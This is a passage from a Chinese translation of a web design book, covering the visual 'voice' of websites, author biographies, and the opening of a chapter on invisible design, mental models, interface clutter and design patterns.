在记住所有这些之后，我们就能够获得这个简单而意义深远的理解：合格的设计包含漂亮的版式；优秀的设计则构建在意味深长的版式之上。

在文本块中，优秀的版式是柔和、宁静、几乎不可见的。每个文字都会引导眼睛转到下一个文字上，并且这种引导是潜移默化地完成的。与它们所传达的信息相比，文字变得次要。在另外一些环境下，优秀的版式自身是喧哗、醒目和敏锐的艺术，它也会吸引注意力，稍后就放弃，同样通过形状、重量、位置和大小传达含义，就像通过文字本身的字面意义一样。

在这两种情况下，版式都不仅因其自身的美观而存在。通过设计师细心、慎重的选择，实现 Bringhurst的声明——版式为其内容服务。


 1.6　视觉声音

我们已经谈论了设计怎样具有它自己的视觉语言。但是每种设计也具有声音，可以把它理解成设计针对此种视觉语言的特定实现。如果设计打算传达信息，那么可以把它的声音理解成它递送该信息的方式。这涉及我们讨论过的许多事情。

声音不必有意识地添加到设计中，它始终都会出现在那里，使用声音的挑战就更像歌唱家所遇到的挑战一样，它涉及学习如何利用声音，使之适合于你的需要。

让我们查看一些示例。在学习过程中，要知道每个示例中的声音对设计背后的含义起到了什么样的作用。

1.6.1　喧哗

喧哗的声音可以让人们听得到。我们这个世界里充斥着大量的信息，它们都在竞相争夺我们的注意力，喧哗的设计可以通过“提高音量”而脱颖而出。

Armitage网站
(29)

 是一个极佳的示例，它通过许多技术创建了自己的喧哗声音。要注意的第一件事是选择醒目的颜色。淡蓝色和淡黄色之间的强烈对比足以给人留下惊艳的视觉印象。

可以通过版式实现类似的效果。首先，标题都设置为大写字母，这种技巧被广泛理解为一种版式风格。其次，标题被设置为相当大的字体。第三，给它们提供强烈的重量感。这三个特性结合在一起和谐地工作，创建出视觉鲜艳的总体效果。
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最重要的是，这种鲜艳性加强了信息的表达。在其主页上，Armitage把它自身称为制作“鲜明设计”的“最前沿的技术”和资产——这两种声明都受到页面上丰富的视觉声音的支持。

1.6.2　柔和

另一方面，设计也可以具有柔和或宁静的声音。虽然喧哗的声音可以吸引注意力，但是柔和的声音依靠平和、高贵的力量。它耐心地等待用户发现其信息的品质和重要性。

Kean Richmond的个人网站
(30)

 是柔和设计的一个可爱的示例，并且与我们看到的Armitage网站形成了鲜明的对比。它没有使用淡蓝色和黄色，而是使用简单的基于浅褐色的单色模式，它的饱和度是如此之低，以至于几乎是灰色的。通过穿插进页面导航系统中的许多淡色调来补偿背景色。

设计师在这个网站中的设计选择是经过慎重考虑的。Richmond把他自己定位为一位低调的设计师，这有些自嘲的性质。在主页上，他指出了以下事实——这事实上是一个网站，其后接着附加的说明“但是你可能已经知道了”。在他的“About”页面上，他指出：“像大多数人一样，我并不非常擅长介绍我自己，但是这里要这么做……”
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即使这可能是他的主要的自我宣传渠道，Richmond也非常有意识地尽量不过分宣传自己，并且他同时使用书面和视觉语言来实现这一点。他的多种选择（比如朴素的颜色和大量的空白）加强了这种效果。如果他结合使用明亮的颜色和许多细节，这些选择将与他的消息发生冲突。

1.6.3　创造性

创意通常可能不与字面意义上的声音的概念相关联，但是它当然适用于声音的广义环境。这终究是我们在这里的用意所在。让我们看看Joe Lifrieri在他的网站Hugs for Monsters
(31)

 上如何使用多种技巧使他自己被认可为一种有创意的声音。

所有这些都开始于有创意的网站名称，打开主页，我们立即会看到具象、抽象的手绘拼贴画、非常醒目的颜色、有机的形状，当然还包括疯狂的单眼妖怪，它显然使整个页面洋溢着创意。不管你怎样考虑风格或者如何解释图像，这个页面都会给你留下强烈的创意印象。

当然，作为图形设计师和插画家，Lifrieri完全理解他所传达的信息，并且网站其他页面也采用非常相似的风格。代表作选辑页面具有四幅缩略图，显示不同的项目，用一幅插图包围它们，其风格类似于主页上的插画。其他插画用于美化博客和“About”页面。
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版式在这里再次起到重要作用。以相同的自定义手写字体设置网站标题和菜单，它们出现在网站的多幅插图中。幸运的是，Lifrieri限制这种字体只在文本的少数关键区域使用，而为主要的正文选择无衬线字体（在标题中漂亮地进行了精简）。这是一个正确的决定，因为以手写字体设置所有的内容将明显妨碍文字可读性。

小心使用插图和版式可以使人们感受到极具创造性的活力，这显然是Lifrieri想要的。设计的声音对包罗万象的信息起着积极的作用，就像Armitage和Kean Richmond以他们自己独特的方式所做的那样。

在查看了所有这些网站并且理解了它们的设计怎样强调它们的内在信息之后，就能够开始理解，合格的设计是为它自身而存在的，而优秀的设计则是为其内容而存在的（或者是为内容的含义而存在的）。

语气、音量和音调与所说的话直接相关，与之相同，与颜色、版式和插图有关的选择同样与通过设计传达的思想相关。而且，这些元素将对你是否理解所做的选择产生影响。调色板总会影响我们解释事物的方式，并且每种字型都会通过其样式、重度、内涵和语境影响设计的含义。

因此，我们需要留意在设计中所做的一切。任何事情都应该不是率性而为的（或者至少不完全是这样）；所有的元素都应该和谐地工作，以创建一种十分和谐的含义。所有其他的一切将会给设计制造不和谐音，并且非常有可能削弱网站的效果。


 1.7　结论

合格的图形设计师努力为客户创建吸引人的设计，而优秀的图形设计师则更进一步，努力理解项目目标的要点。优秀的设计师依赖于我们讨论过的与持久性、极简抽象艺术、图像和声音相关的概念，制作出经过仔细考虑的、非常合理的解决方案。

对于Web和任何其他形式的设计都是如此。在关于可用性、导航、用户体验、HTML、CSS等的所有讨论当中，关于良好、一致的图形设计的讨论正处于被其他声音淹没的危险之中。通常，它被简化成趋势和常见实践的机械性操作。因此，这就给我们留下了典型的网站，它不是设计用于解决问题，而只是提供网站的外观，也许只适合于特定的领域。

至此，你应该认识到这不是合格的图形设计——甚至离优秀的图形设计相去甚远。当然，设计师必须在某些约束条件下（比如在方框模型的限制内）工作，但是最终，良好实现的设计会反映出深思熟虑的设计决策，它们构成、通知以及支持网站的内容和消息。

关于作者

“设计不仅是使事物看起来很漂亮，它涉及针对（通常的）视觉问题精心设计有目的、有意图的解决方案。”

Matt Ward（生于1981年）来自于加拿大的安大略省，拥有英语文学硕士学位。Matt是一位自学成材的视觉设计师，他重点关注的是前端编码，并且会结合做一些后端工作。他在线工作了差不多10年时间，并且有4年印刷行业的工作经验，他最喜爱的颜色是工作的颜色。在他的空闲时间，他喜欢与妻子和女儿在一起。此外，Matt还喜欢阅读、弹吉他以及玩视频游戏。Matte给读者的忠告是：永远不要停止学习，它只会帮助你变得更好。你今天可能不像你所希望的那样优秀，但是只要你比昨天更好，那就是进步！继续努力前进吧！

“理解这个过程比产品更重要。最终的结果是通过上百个细小的决策和思考达到最好的效果，你把它们结合得越好，所得到的结果将越好。”

Alexander Charchar（生于1985年）出生于澳大利亚的墨尔本，他毕业于斯温伯尔尼理工大学，并通过持续不断的学习和写作稳定地增进他的知识。Alexander有10年的设计经验，主要学习版式和思想驱动的设计。在工作之余，Alexander喜欢与妻子呆在一起，他有两条小狗，并且着迷于电影、音乐和阅读。他给读者的忠告是：只要你真正做到尽情享受其中，就可以制作出优秀的作品。
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第2章　看得见的设计与看不见的设计


作者：Francisco Inchauste
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今天的设计重点关注的是细节。细节是指所有那些与我们有关的细小事物。我们可以在单个项目上花费数月到数年的时间，并且我们可能只调整关于如何渲染文字，或者与某些部门或客户打交道的微小细节。事实是，任何一个网站或应用程序对于我们都可能具有深刻的意义，尽可能把它们制作得最好会给我们带来所希望的结果。当然，每一个人都有一些引人为傲的微小细节，并且作为设计师和前端开发人员，我们希望网站或应用程序的外观比我们以前接触到的更漂亮。但是，有时我们是如此关注设计得较小的视图，以至于我们对较大的方面视而不见。设计的这个部分被忘记了，它变成了不可见的。

我们没有意识到一个设计至关重要的部分遗失了。在构建界面时，我们利用可以收集到的关于用户的任何知识，以及用户界面的风格的可用性基础和思想。不过，如果没有清楚了解设计中的关键问题，我们将在黑暗中步履蹒跚，所以我们要寻找可以照亮设计的“电灯开关”。我们可能没有意识到正在做这件事；事实上，我们可能受到他人（包括客户）称赞。但是，如果他们不知道遗失了这个部分，那么这种称赞就是空洞的。直到我们自己理解了看不见的设计之后，才能成为优秀的设计师。

为了识别看不见的设计并且理解如何创建它，必须以不同的方式看待我们周围的世界。我们必须解放思想：设计不仅是我们所看到的，还应包括我们没有看到的。设计在我们的这种生活中是时常发生的，它就在我们周围，并且你每天都会接触到它。你在此时阅读的图书就是基于某些标准和美学设计的。你可能翻动几页，以便检查版式、颜色和内容的组织。你可能没有仔细考虑的方面是图书的尺寸和装订技术。这二者都是图书设计的重要部分。

“对我来说，良好的设计意味着尽可能少的设计。”

——Dieter Ram

定义设计是困难的，因为它是如此主观。它可以有两种形式：抽象的概念和可以交付给项目的具体形式。实质上讲，它没有界线，并且它的定义依赖于行业。例如，时尚设计师会考虑纺织品，并且可能希望做出大胆的陈述，把她自己与其他设计师区分开；而室内设计师则可能创造一种环境，用来提高舒适度并且反映房主的风格和品味。
(1)



各类图书和网站中广泛介绍了利用诸如Photoshop之类的工具制作设计的可见层的基本原理和技巧。设计一般被理解为只有那些可以看到的内容——一种可视的并且主要是艺术性的通信媒介。不过，设计中不可见的部分具有多种形式。考虑你的牛仔裤上的口袋，它具有某种尺寸和形状。你的钱包也被制成某种尺寸和形状，使得它能够放进口袋中。在人们尝试把他们的钱包放进太小的口袋中之前，没有人会考虑它——或者也许是钱包太大了。在这种情况下，有人将出于某种原因而不会遵循既定的设计模式。

同样，在设计网站或应用程序时，我们不会（并且不应该）从头开始。我们将开始于某些模式，并且需要理解它们的局限性，以便创建有效的解决方案和体验。在考虑是否打破特定的模式时，需要问问我们是否将疏远用户。如果忽视了这条规则，其结果将像设计一个在数百万条牛仔裤的口袋中都放不下的钱包一样吗？此外，如果我们创建看不见的设计，美感又在哪里呢？

在本章中，我们将探讨看不见的设计与看得见的设计之间的平衡。平衡它们将使我们能够为网站和应用程序设计有效和有意义的界面。


 2.1　查看看不见的设计

“良好的设计在处理得当时将变成不可见的；只有在处理不当时，我们才会注意到它。”

——Jared Spool

把设计称为“看不见的”似乎违背了设计本身的性质，因为我们把它理解为一种强大的可视媒介。并且设计交互引入了另一层复杂性。用户界面不仅是静态图形或信息；它是人们使用的产品。大多数人不会访问网站或者打开应用程序以表达对可视设计的敬意（除非他们是设计师）。他们会提出某些期望和目标，如果他们没有立即实现这些期望和目标——对于网站来说在几秒钟之内——那么他们就会转移到别处。因此，设计必须提供一种轻松地方式来定位有价值的信息并使用户沉溺于其中，使得他们想要停下来并进行更深入的探究。
(2)

 这里的挑战是，大众对于“设计意味着什么”的认识是错误的。大多数企业把设计师的角色看作是创建一层肤浅的“外观”。它们委托设计师创建“赏心悦目”的效果，它具有吸引人的外观，但是没有一点深度。当然，设计并不仅限如此。交互设计通常被描述为具有会面功能的形式。看不见的设计二者兼而有之：它结合了对用户有意义的形式和直观的功能。为了理解看不见的设计的概念，必须回顾一下人类的进化史。
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Burton Snowboards提供了美妙的购物体验。交互是适宜的并且有趣，界面也很干净并且有条理。设计和内容一起讲述了一个令人肃然起敬的品牌故事。

http://global.burton.com。

我们听到人们把交互描述为“直观的”，比如“这种动作不会觉得直观”或者“那个应用程序中的交互非常直观”。一般把它定义为“容易学习或使用”。直观，实际上意味着我们无需考虑任何事情即可使用它们。你可以说直观的（或者甚至不可见的）界面是完美的界面。一个示例可能是带有大音量报警声的闪烁的红灯，我们习惯了这种信号，把它视作是某类警告。当然，准确的含义取决于环境。

随着时间的推移，设计随同我们在一起演化。在某一时刻，我们只依赖于自己的身体本能来满足我们的主要需求，然后我们进步到使用天然工具。考虑像喝水这样简单的事情。我们一开始时会把手掬成杯形并舀出水来喝。外壳的形状类似于掬成杯形的手，但它是固定的并且不会渗透，因此使用它就是一种改进。

后来，我们改进来解决我们的问题，我们开始设计和创造生产工具，它们在本质上比已经存在的天然工具工作得更好。我们不仅创建诸如锤子和凿子之类的物理（即可见的）工具，而且创建诸如语言之类的抽象（看不见的）工具。归纳含义和表达复杂的思想是我们作为人类创建的最重要的设计之一。这种“精神”工具允许我们为后代清楚地表达思想、共享知识和捕捉过程。
(3)



在今天看来，设计的这种演化对我们完全是无意识的。我们没有提供第二种思想用于编写电子邮件；我们不会考虑书写的单词的语法规则或词根。在工作期间呷一杯咖啡也反映了设计的这种隐藏的演化。塑造手柄和选择光滑面所需的迭代次数对于我们是不可见的。我们不会认为这种设计具有“美感”。它几乎超越了形式和功能，它只是我们的生活中同样可能始终存在的普通部分。仅当模式被打破时——比如说手柄翻向一边——我们才会认识到设计被改变了。

我们今天表述的设计对后代将是不可见的。Web设计是一个非常年轻的领域。我们刚刚开始创建有效的设计和构建网站与应用程序所需的过程。作为设计师，我们可能很容易感觉到，就像我们受雇于客户一样，设计一些最新的原创作品，以把它们与竞争对手区分开。我们这个行业还很年轻，设计准则的建立也不那么严格并且容易遭受误解，再加上客户强加给我们的作品要有创意的压力，它们一起导致了许多拙劣的体验。

一些规则和设计模式来源于Web大规模普及之前的一些领域。我们从诸如人机交互（human-computer interaction，HCI）和图形设计之类的领域演化了交互设计。理解用户体验（User Experience，UX）过程和已经建立的模式以及用户对它们的期望很重要。既然我们已经对看不见的设计了解得比较多了，那么可见层面又如何呢？引起情绪反应和决定行为的视觉要素显然不同于只是简单地贬损体验的交互设计。

2.1.1　面向界面

就像你第一次遇见某个人时一样，网站或应用程序给与用户的第一印象是至关重要的。那些在最初几秒钟及几分钟内显现的效果将对用户与公司之间的关系产生重大的影响。大多数企业都会在它们的品牌和特色产品上投入大量的时间和金钱。随着时间的推移，良好的品牌将创造市场价值，并且把它自身与竞争对手区分开。虽然企业通常会努力推行视觉至上的准则，但是也应该相对于整体体验来衡量它们。如果某些视觉元素导致了令人费解的体验，并且使界面混乱不堪，那么它们将会损害品牌形象。
(4)



“万事万物应该尽量简单，而不是更简单。”

——阿尔伯特·爱因斯坦

简单性是创建界面的关键，它不会妨碍用户实现其目标，并且有利于创造良好的体验。不过，简单性并不是一个绝对值。界面或体验的最重要的部分是用户。如果没有用户，应用程序或网站就会失去它的意义和目的。爱因斯坦的上述话语的亮点是“而不是更简单”。不应该仅仅出于简单性考虑而简化内科医生用于显示关于患者重要信息的设备，而应该保留必不可少的元素。对于普通人来说，这个设备看上去可能比较杂乱，但是对于用户（即医生）来说，它实际上就相当于大量的实用信息。

有时，简单性会被高估。人们希望他们的产品具有某些能力和特性。相比万里无云的蓝色天空的图画，我们很可能更喜欢复杂的日落图画，它具有有层次的颜色条纹、日光和云彩。我们将通过比较哪些产品提供了更多我们所需的特性来决定购买哪一个。我们乐意为那些提供了更多特性的产品付钱，这使我们感觉更值。一些文化更偏爱那些更复杂的产品，复杂并不意味着混乱不堪。复杂性取决于用户及其知识水平。如果你把领航员带到驾驶舱里，界面将对他们是有意义的；未经训练的人将认为它混乱不堪并且令人不知所措。简单性被误解为意指“容易使用”。从网站界面感觉到的简单性或复杂性将取决于其主要用户是谁。
(5)



创建看不见的设计并不意味着看得见的设计（或者“赏心悦目”的设计，因为有些人这样称呼它）不怎么重要，这需要进行权衡。多项调查研究发现：界面在美学上越吸引人，人们越觉得它容易使用。
(6)

 理解用户并建立一个帮助他们实现其目标的流程很重要。

不过，如果没有通过漂亮的视觉层清晰地指示操作的界面，那么这些工作将无法实现用户目标。界面设计需要理解许多相关领域的知识，其中之一就是视觉媒介。

设计和艺术专业人士应该精通基本的视觉和图形原理，比如颜色、合成与对比。即使设计和艺术与视觉层联系紧密，它们也不能超凡脱俗。设计师的作用是迎合其他人；他们交付的产品应该传达信息或者为最终用户解决特定的问题。
(7)



图形设计师和交互设计师都理解如何为人们创建页面元素，其区别在于它们传达的信息的类型。图形设计师处理信息，其目的是为了获得发自内心的响应，以此来实现业务目标。交互设计师重点关注的是应用程序或网站的表层级别，他们鼓励用户采取复杂的动作，并仔细地把结构展示给用户。业务目标和用户目标都很重要，因此界面既应该支持公司的品牌，也应该为用户显示清晰的路径，以完成他们的任务。
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Brooklyn Fare网站在其包装和图像材料中突显品牌。它强化了业务和市场营销目标，同时又不会使人感到不知所措。组织结构很清晰，并且用户访问所需信息而采取的路径很简单。通过干净、真实的照片，传达出了人的元素。

参见http://www.brooklynfare.com。

2.1.2　是演化，而不是革命

我们花了许多时间考虑和构建我们的网站和应用程序。把我们只考虑单个特性所花费的时间相加起来，就能快速合计我们的许多次迭代。我们将变得在内心深处熟悉我们自己的工作，这些时间应该总计达到数千小时，尤其是当我们花费数月或数年的时间处理一个项目时。

这样还会展示图库中的不同设计，以及我们行业中的新技巧和新技术。在某个时间段之后，作为个人或团队，我们将自然地挑选出新方案，而不管这是意味着重新对齐、重新设计、添加新特性，还是意味着给予活力。

不过，对于用户来说，这些改变并不是微不足道的——它们是革命性的。用户很可能只会看到网站或应用程序的一小部分，普通的访问者每次访问甚至可能只会花几分钟的时间，几年下来总计可能只有几小时。

而且，他们访问网站的目的不是为了看到漂亮的新设计。用户不会关心我们从事设计的方式，他们头脑中想的是其他事情，并且坐在计算机前或者使用他们的智能手机也不是他们优先考虑的事情。他们更愿意花时间与朋友和家人呆在一起，或者看一场不错的电影。他们的头脑中有明确的目标，需要尽可能高效地登录和离开网站。

设计应该是一种帮助用户的手段，而不是终极目标。如果用户知道到达他们正在寻找的内容的路径，那么他们将感到安心。随着时间的推移，他们将在网站访问中感到舒适，设计就变成对他们是不可见的。你只需要更改设计或特性，就会发现用户多么憎恨改变。这并不意味着我们永远也不应该改变网站。如果可用性很差，那么我们当然应该改变它。如果民怨沸腾，显然就需要采取某种措施。但是，如果改变是必要的，那么它应该是设计的演化，而不是革命。网站或应用程序的根基应该是牢靠的，并且允许在其上构建内容。

当然，改变是不可避免的：网站在不断成长，公司也是如此，并且客户对它们的应用程序的要求也越来越多。如果是以下两种情况，那么则可以考虑对网站式应用程序进行较大的改善。

●　如果当前的访问者数量很低，那么显著的改变可能有助于网站或应用程序快速扩展到更广泛的受众。改变将只会干扰一小部分用户群。

●　如果网站几年都没有更新，缺少一些主流的标准功能，并且可用性较差，那么就有正当的理由进行较大的改变。
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由于它提供了其他创意，Veer总让其网站保持新鲜，以显示富有灵感的示例。对于公司来说，维持关注寻找新意象和字体也很重要，因为这是用户访问这个网站的主要原因。经过几年后，它成功地平衡了这两种需求。

参见http://www.veer.com。


 2.2　按用户所想的那样设计

出于许多原因，我们知道如何使用电炉，主要的原因是我们都熟悉它。这个工具在我们的生活中非常普及，并且我们看见过其他人使用它。它的控制界面对我们是有意义的，并且可以简单、直观地使用它。不过，最重要的是，电炉上的控制装置与我们认为该工具应该起到的作用相一致。顺时针旋转圆形把手可以提高热度；逆时针旋转它则会降低热度。

虽然电炉的控制界面很简单，但它说明了我们生活中的大多数基本工具是怎样达到“看不见”的程度的。良好设计的界面将与我们认为它应该怎样工作的想法（我们的心智模型）相吻合。实现这一点似乎很简单，但是通过观察我们周围的应用程序和网站，我们发现其中有太多的应用程序和网站遵循实现模型（implementation model，有时也称为“系统模型”）。应用程序按开发人员（而不是最终用户）所想的那样工作。这就是为什么如此多的体验使用户感到灰心丧气并且会失败的原因。

用户不需要知道等离子电视是由上千只荧光灯组成的，它们基于视频信号以不同的亮度和颜色组合发光。
(8)



这不会对他们使用电视的能力构成压力。所以，不应该把电视设计成上千只荧光灯的组合体。设计师的作用是提出第三种模型，称为表现模型（represented model，有时也称为“设计师模型”）。

表现模型是用户界面的形式。通过用户研究、角色生成和用户测试，设计师能够迭代界面。目标是尽可能接近地匹配应用程序或网站的用户心智模型。不仅体验将是有效的，而且界面将不可见，因为它像用户所想的那样工作。
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2.2.1　混乱与整洁

设计师很容易过度使用设计风格和技巧，在这种情况下，界面将变得混乱不堪，或者变成视觉噪声。应该在考虑到应用程序或网站的总体目标的情况下有目的地实现风格。应用程序的预期应用将指示设计的风格。例如，娱乐或教育应用程序将可能比文字处理应用程序提供更多有趣的交互和画面。在交互设计中，不仅界面可能变得杂乱无章，而且交互本身也可能是不必要的。

看不见的设计界面不仅以用户所想的方式工作（根据他们的心智模型），而且用户只需要最低限度的交互以完成他们手边的任务。不期望他们执行额外的步骤以及完成不相关的任务，而是只完成实际任务。避免做额外的工作，这听上去可能很容易，但它在应用程序和网站中经常发生，甚至比我们可能意识到的还要多，因为这些额外的步骤是我们的许多工具所固有的。每当用户撞上额外的工作时，他们都要付出心理上和身体上的代价。
(9)



为了到达芝加哥，乘坐飞机的旅客不得不经历一系列较长的步骤，所有这些步骤都不会把他们的身体移到离目的地更近的位置。他们必须排队等待、托运行李、分配座位、打印机票、经过安检、等待登机，等等。所有这些动作都不会使他们离芝加哥更近（在距离上）。进入电影“The Fly”（《变蝇人》）中的“电动传送机”可以使你获得直接的旅行体验，并且可以直接把你运送到芝加哥。这些障碍或混乱有时也称为附加工作设计（excise design）。

不能直接帮助用户完成其任务的交互就被认为是添乱的。设计师的工作不仅要传达应用程序或网站的行为，而且要删除或阻止无用的交互和视觉混乱。作为计算机用户，我们每天都在和它打交道。计算机上用于管理文件的文件夹系统旨在使人们的体验更轻松。但是随着时间推移和工作积累，我们将会丢失对文件的跟踪，而必须使用搜索功能查找它们。在桌面底部甚至需要一个工具栏，以便能够轻松地访问所有的应用程序。仅仅为了打开某个应用程序而不得不进入一层又一层的文件夹显然太费事了。

2.2.2　清理界面

界面混乱（附加工作）有许多种形式。让我们回顾一些更常见的形式，以及它们如何影响用户的体验。

1．使之保持流畅

流程是用户使用网站或应用程序以完成其任务的路径。如果可能，流程应该不会中断。例如，不需要用户单击用于确认文件已保存或者电子邮件已发送的消息。简单地渐隐和渐现消息可以完成相同的事情，并且不会阻止用户做他们正在做的事情。

2．管理小助手

通常需要给新用户逐步介绍应用程序或网站，这称为“热身”。用户被指导通过仔细规划的体验。但是，如果小助手一直存在，体验将变得使人灰心丧气，因为用户现在熟悉了网站，不再需要这种级别的帮助。设计师总是应该考虑到这种问题，因为新手不会永远都是新手。

3．一次就够了

如果可以避免，就不要使用户多次做同一件事。例如，用户在表单中应该只需把他们的地址输入一次。如果以后在输入区域中需要这个地址，那么应该能够提取以前输入的信息。许多网站允许选中一个复选框（有时标记为“Remember me”，记住我），以保留登录信息一段时间，使得用户不必重新输入用户名。

4．使导航清晰易懂

使用一个图标说明按钮的抽象功能是切入用户的精神框架的良好方式。不过，这需要深思熟虑，因为图标在不同文化中具有不同的含义。即使在同一种文化内，图标也可能会引起混淆。铅笔图标是意味着“编写新便条”还是“编辑旧便条”？

用户应该理解某个按钮有什么作用，以及如果他们单击它将会发生什么。如果按钮与其目的之间的视觉或符号联系并不强烈，那么流程将中断。用户将被迫通过试验来搞清楚它能做什么。例如，当用户浏览博客上的贴子时，他们可能遇到显示“Next/Previous”或“Next/Back”的链接。“Previous”可能意指他们浏览过的上一页，而不是按时间顺序排列的旧贴子。使用“Older/Newer”则可能更清楚易懂。

5．使人们保持方向感

给用户提供一致的路标和导航。在桌面应用程序中，我们知道界面顶部具有一个菜单用于导航，这可以把用户定位到他们所在的位置以及他们可以到达的位置。网站上的每个页面看起来完全相同的话，可能会使人迷失方向，你可以添加指示器以高亮显示当前区域，并且帮助用户知道他们所在的位置。

6．扁平化层次结构

我们现在遇到的大多数界面组织都相当平坦——与嵌套的层次结构相比，更多的是单个层次。我们的汽车把控制系统带到了触手可及的位置；文件柜只有一层深。在涉及网站和应用程序时，很容易创建嵌套的下拉菜单和子导航系统，以允许用户更深入地访问它们。许多开发人员使用树型菜单，但是这种混乱的导航反映了应用程序是如何构建的，而没有反映用户是怎么想的。除非你绝对需要一小部分超级用户将访问的高级选项，否则就要避免强制用户进入更深的层次访问内容和控件。

7．把它保持在可以到达的范围内

把导航元素、信息和大多数常用控件放在屏幕上方便的位置。不经常使用的功能则放在网站中较深的位置，但是不要完全删除，使得它们不会给界面增加噪声。这涉及界面设计中的两个重要概念。

●　“同一空间毗邻陈列”把应用程序的所有元素都放在相同屏幕上。这种方法可以让用户立即访问大多数信息和控件。它还减少了在屏幕之间导航的需要，从而减少了界面中的附加工作。

同一空间毗邻陈列

[image: ]


●　“沿时间线陈列”跨多个屏幕或层分割功能，像图书中分散在多个页面上的故事一样。通过指导用户沿着清晰的路径前进，减少了他们犯错误的几率。也可以获得更多的屏幕空间来指导他们。

沿时间线陈列
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仔细考虑这些方法。如果没有很好地规划导航和控件，或者把内容分割在太多的层上，那么用户将要忍受不必要的导航以到达那里。这一点在手机上表现得尤其明显，其中同一空间毗邻陈列信息通常要好于沿时间线陈列信息，并且屏幕的深度嵌套可能使用户迷失方向。
(10)




 2.3　设计模式

模式对于我们的生活是至关重要的。人类在自然界中使用模式来帮助他们狩猎、种植和逃生。这些模式现在对于我们是不可见而仍然存在。它们传达了我们的期望。当我们听到轰隆隆的雷声时，就会理解暴风雨将至。当应用程序被人称赞很直观时，就意味着它遵循了底层模式。模式提供了一种与用户交流的方式，而不必从头开始解释所有的一切。模式给我们提供了预测的意识和能力，它可以把有意义的设计与视觉噪声隔离开。
(11)



“我们知道在感觉不到关系的模式的地方，如果没有设计，那么将不会发现任何含义。”

——John Kouwenhoven

在开始设计过程时，第一个推动力是提出具有创意和完全原创的思想。客户希望把他们自己与竞争对手区分开，即使他们经常推出与竞争对手类似的方案。设法通过添加更多的特性以及使设计更浮华来超越另一件产品最终会取悦于客户，但是会使用户受损。我们需要同时考虑用户和客户的目标，然后尽可能以最佳的方式提出我们的解决方案。我们不应该从头开始，而是要以我们受众的集体精神为基础。我们可以把大多数应用程序归类为某些结构（摘自Bill Scott和Theresa Neil的图书：Designing Web Interfaces：Principles and Patterns for Rich Interactions
 
(12)

 ）。

2.3.1　创建

当人们需要创建新内容或者修改现有的内容时，要使用正确的结构。例如，写博客、加插图、编码、图片编辑、图解。

2.3.2　过程

当人们需要以结构化的方式提供信息时，要使用正确的结构。例如，产品配置、装配或安装；注册表单；报税；结账；预订旅程。

2.3.3　信息

当人们需要浏览、比较、理解信息时，要使用正确的结构。例如，地图、新闻阅读器、仪表板、媒体播放器、在线商店等。

右边的图突出显示了一些常见的模式，当前的Web应用程序通过它们提供功能。建立这些模式用于显示信息和提供功能的最佳实践。像用户在自然界和路牌中所熟悉的模式一样，这些屏幕显示了用户今天所熟悉的模式。你的目标用户可能已经使用了大量带有这些模式的应用程序。
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“设计Web界面”的合著者Theresa Neil惠赠，O'Reilly Media，2009年。

这些屏幕模式定义了在开始设计时可以采用的基本布局和方法。通过理解用户的主要任务和他们的总体目标，可以在设计过程中及早选择正确的结构。这把设计限制于普遍认可的模式。

如果你正在设计应用程序入口，那么偏离已知的入口模式可能使你的工作进展受挫。但这并不意味着你没有机会尝试新的入口模式，坚持使用用户熟悉的模式很重要。这些限制提供了强大的力量，可以让我们设计师重点关注设计，而不会醉心于添加太多的选项。通过选择一种合适的模式，我们可以集中精力迭代其他的细节，并且把更多的时间专门用于创建优秀的体验。
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StackExchange使用“浏览”模式，如上面的Web界面模式中所示。结构适合于内容：

参见http://webapps.stackexchange.com。

2.3.4　使之真实

今天的许多界面都具有超现实的外观，并且有时表现得非常真实。像Apple这样的公司不仅会在它们自己的应用程序中推行这种界面，而且会建议设计师采用这种方法为像iPad这样的设备设计下一代界面。
(13)

 这种附加的物理维度既有优点，也是缺点。

在界面中使用真实物体的隐喻可以给用户提供一种轻松的方式来学习如何使用应用程序。最著名的计算机隐喻是桌面，它来源于第一款Apple Macintosh中的图形用户界面（GUI），它自身又基于Xerox于20世纪70年代中期创建的早期界面。文件夹、垃圾箱和纸堆都是用户熟悉的元素，并且比电脑高手用户将输入用于导航的命令快捷键更容易理解。用户将很好地理解如何使用真实的垃圾箱，因此他们可以合乎逻辑地设想电脑中垃圾箱的功能。
(14)



使用来自现实世界的熟悉的纹理和物体也给可能令人厌烦的应用程序增添了一些乐趣。例如，带有一些逼真的缝纫效果的皮革镶边将给笔记本应用程序增加美感，它还有助于宣传产品。在选择要购买的应用程序时，界面通常只会“打包”用户所看到的内容。在比较多个笔记本应用程序时，最有可能吸引用户的是看起来最像笔记本，并且具有所有细微细节的应用程序。
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Flipboard是一款iPad应用程序，它可以把你的社交网络（Facebook、Twitter等）转变成私人杂志。杂志风格的布局允许用户使用翻页以一种熟悉的方式导航内容，它可以炫目地播放一个独特的动画：

http://www.flipboard.com。

除了看起来逼真以外，应用程序现在的行为表现也更真实。如果应用程序看起来像现实世界的物体，就期望它也像该物体一样表现和响应。例如，当在图书阅读应用程序（即 eReader）中导航到下一个页面时，用户会采用某种姿势来解发翻页，并且理所当然地认为页面会逼真地卷曲和移动。用户已经知道真实图书的工作方式，因此会自然地理解应用程序。由于用户具有关于翻书的天生的知识，因此界面将变得不可见。

界面隐喻也可能产生许多问题。当应用程序变得更复杂时，它们可能迅速变得受限制。你可能被迫在应用程序或网站中创建笨拙的功能，以适应所选的隐喻。例如，对于看起来像书页的界面，如果内容太多，那么页面将需要滚动条，这违背了我们所理解的图书的工作方式，从而使隐喻的目的失去了意义。
(15)



强烈的纹理和现实主义可能使界面混乱，强迫用户更加努力地了解哪些元素是可单击的，以及他们必须到达哪里以完成任务。如果用户可以轻松地断定能够与某个元素交互，那么我们就说该元素具有“功能可见性”（affordance）。
(16)

 网站和应用程序的大多数普通用户都理解按钮的功能。在界面设计中，添加精细的维度或者鲜艳的颜色告诉用户按钮是可以起作用的。这种可视的功能可见性指示按钮或控件可以做什么。但是，如果界面中的一切内容都具有维度和强烈的设计效果，那么确定交互式元素就变得很困难。简而言之，用户将不会知道要单击哪里。

如果隐喻只会把你吸引到设计中，并且会使界面变得混乱，那么就不要利用它。过多的元素将只会使用户困惑，并且容易导致不佳的体验。管理设计随着时间的推移施加给用户的认知负荷（cognitive load）是至关重要的。

[image: ]


Writer是一款用于iPad的字处理应用程序。该应用程序忽略了许多当前流行的隐喻和真实的触摸，以使用户集中精力关注书写。应用程序中删除了诸如拼写检查、字体选择和字体大小调整之类的常见特性，以免它们干扰手边的任务。这产生了优雅、有效的界面：

http://informationarchitects.ch。

2.3.5　界面设计准则

下面列出了一些用于设计界面的常规准则。
(17)



●　有目的地平衡样式和功能，不要只为了设计而设计。

